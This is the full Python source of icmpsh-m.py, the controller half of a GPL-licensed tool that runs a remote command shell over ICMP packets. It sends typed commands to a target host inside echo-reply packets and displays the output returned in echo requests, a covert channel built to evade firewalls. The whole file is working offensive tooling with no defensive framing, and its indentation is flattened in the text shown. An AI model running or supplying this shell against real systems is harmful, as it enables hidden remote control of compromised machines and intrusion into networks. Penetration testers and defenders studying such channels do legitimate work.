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#!/usr/bin/env python
#
# icmpsh - simple icmp command shell (port of icmpsh-m.pl written in
# Perl by Nico Leidecker <nico@leidecker.info>)
#
# Copyright (c) 2010, Bernardo Damele A. G. <bernardo.damele@gmail.com>
#
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import os
import select
import socket
import sys
def setNonBlocking(fd):
"""
Make a file descriptor non-blocking
"""
import fcntl
flags = fcntl.fcntl(fd, fcntl.F_GETFL)
flags = flags | os.O_NONBLOCK
fcntl.fcntl(fd, fcntl.F_SETFL, flags)
def main(src, dst):
if sys.platform == "nt":
sys.stderr.write('icmpsh master can only run on Posix systems\n')
sys.exit(255)
try:
from impacket import ImpactDecoder
from impacket import ImpactPacket
except ImportError:
sys.stderr.write('You need to install Python Impacket library first\n')
sys.exit(255)
# Make standard input a non-blocking file
stdin_fd = sys.stdin.fileno()
setNonBlocking(stdin_fd)
# Open one socket for ICMP protocol
# A special option is set on the socket so that IP headers are included
# with the returned data
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP)
except socket.error:
sys.stderr.write('You need to run icmpsh master with administrator privileges\n')
sys.exit(1)
sock.setblocking(0)
sock.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
# Create a new IP packet and set its source and destination addresses
ip = ImpactPacket.IP()
ip.set_ip_src(src)
ip.set_ip_dst(dst)
# Create a new ICMP packet of type ECHO REPLY
icmp = ImpactPacket.ICMP()
icmp.set_icmp_type(icmp.ICMP_ECHOREPLY)
# Instantiate an IP packets decoder
decoder = ImpactDecoder.IPDecoder()
while True:
try:
cmd = ''
# Wait for incoming replies
if sock in select.select([sock], [], [])[0]:
buff = sock.recv(4096)
if 0 == len(buff):
# Socket remotely closed
sock.close()
sys.exit(0)
# Packet received; decode and display it
ippacket = decoder.decode(buff)
icmppacket = ippacket.child()
# If the packet matches, report it to the user
if ippacket.get_ip_dst() == src and ippacket.get_ip_src() == dst and 8 == icmppacket.get_icmp_type():
# Get identifier and sequence number
ident = icmppacket.get_icmp_id()
seq_id = icmppacket.get_icmp_seq()
data = icmppacket.get_data_as_string()
if len(data) > 0:
sys.stdout.write(data)
# Parse command from standard input
try:
cmd = sys.stdin.readline()
except:
pass
if cmd == 'exit\n':
return
# Set sequence number and identifier
icmp.set_icmp_id(ident)
icmp.set_icmp_seq(seq_id)
# Include the command as data inside the ICMP packet
icmp.contains(ImpactPacket.Data(cmd))
# Calculate its checksum
icmp.set_icmp_cksum(0)
icmp.auto_checksum = 1
# Have the IP packet contain the ICMP packet (along with its payload)
ip.contains(icmp)
try:
# Send it to the target host
sock.sendto(ip.get_packet(), (dst, 0))
except socket.error as ex:
sys.stderr.write("'%s'\n" % ex)
sys.stderr.flush()
except:
break
if __name__ == '__main__':
if len(sys.argv) < 3:
msg = 'missing mandatory options. Execute as root:\n'
msg += './icmpsh-m.py <source IP address> <destination IP address>\n'
sys.stderr.write(msg)
sys.exit(1)
main(sys.argv[1], sys.argv[2])
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